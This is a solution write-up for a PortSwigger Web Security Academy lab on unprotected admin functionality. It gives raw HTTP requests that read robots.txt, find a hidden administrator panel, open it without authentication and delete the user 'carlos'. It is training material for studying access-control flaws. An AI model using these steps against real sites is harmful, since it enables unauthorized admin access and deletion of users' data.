Port Swigger Unprotected admin functionality
Unprotected admin functionality
Solution
Open login page: https://0a01008904bd32cb81f81c5100400001.web-security-academy.net/login
GET /login HTTP/2
Host: 0a01008904bd32cb81f81c5100400001.web-security-academy.net
Cookie: session=lGeph1NJlhnGekCoZe6xArRFzYzlYE12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a01008904bd32cb81f81c5100400001.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Open robots.txt: https://0a01008904bd32cb81f81c5100400001.web-security-academy.net/robots.txt
https://0a01008904bd32cb81f81c5100400001.web-security-academy.net/robots.txt
---
GET /robots.txt HTTP/2
Host: 0a01008904bd32cb81f81c5100400001.web-security-academy.net
Cookie: session=lGeph1NJlhnGekCoZe6xArRFzYzlYE12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
___
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 45
User-agent: *
Disallow: /administrator-panel
Open admin panel: https://0a01008904bd32cb81f81c5100400001.web-security-academy.net/administrator-panel
GET /administrator-panel HTTP/2
Host: 0a01008904bd32cb81f81c5100400001.web-security-academy.net
Cookie: session=lGeph1NJlhnGekCoZe6xArRFzYzlYE12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Delete user carlos
GET /administrator-panel/delete?username=carlos HTTP/2
Host: 0a01008904bd32cb81f81c5100400001.web-security-academy.net
Cookie: session=lGeph1NJlhnGekCoZe6xArRFzYzlYE12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a01008904bd32cb81f81c5100400001.web-security-academy.net/administrator-panel
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Solved